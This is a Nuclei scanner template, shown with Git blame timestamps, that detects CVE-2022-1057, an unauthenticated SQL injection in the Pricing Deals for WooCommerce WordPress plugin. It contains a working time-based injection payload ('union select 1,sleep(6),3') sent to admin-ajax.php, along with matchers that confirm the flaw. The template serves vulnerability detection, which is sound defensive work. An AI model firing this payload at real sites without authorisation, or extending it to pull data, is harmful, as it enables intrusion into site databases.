nuclei-templates/cves/2022/CVE-2022-1057.yaml

36 lines
1.3 KiB
YAML
Raw Normal View History

2022-10-21 13:28:20 +00:00
id: CVE-2022-1057
info:
2022-10-23 04:38:40 +00:00
name: Pricing Deals for WooCommerce < 2.0.3 - Unauthenticated SQL Injection
2022-10-21 13:28:20 +00:00
author: theamanrawat
severity: critical
description: |
The Pricing Deals for WooCommerce WordPress plugin through 2.0.2.02 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection.
reference:
- https://wpscan.com/vulnerability/7c33ffc3-84d1-4a0f-a837-794cdc3ad243
- https://wordpress.org/plugins/pricing-deals-for-woocommerce/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1057
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-21 13:28:20 +00:00
cve-id: CVE-2022-1057
cwe-id: CWE-89
2022-10-21 13:28:20 +00:00
metadata:
verified: "true"
tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,pricing-deals-for-woocommerce,unauth
2022-10-21 13:28:20 +00:00
requests:
- raw:
- |
@timeout: 15s
2022-10-23 04:38:40 +00:00
GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1
2022-10-21 13:28:20 +00:00
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
2022-10-23 04:38:40 +00:00
- 'duration>=6'
- 'status_code == 500'
- 'contains(body, "been a critical error")'
condition: and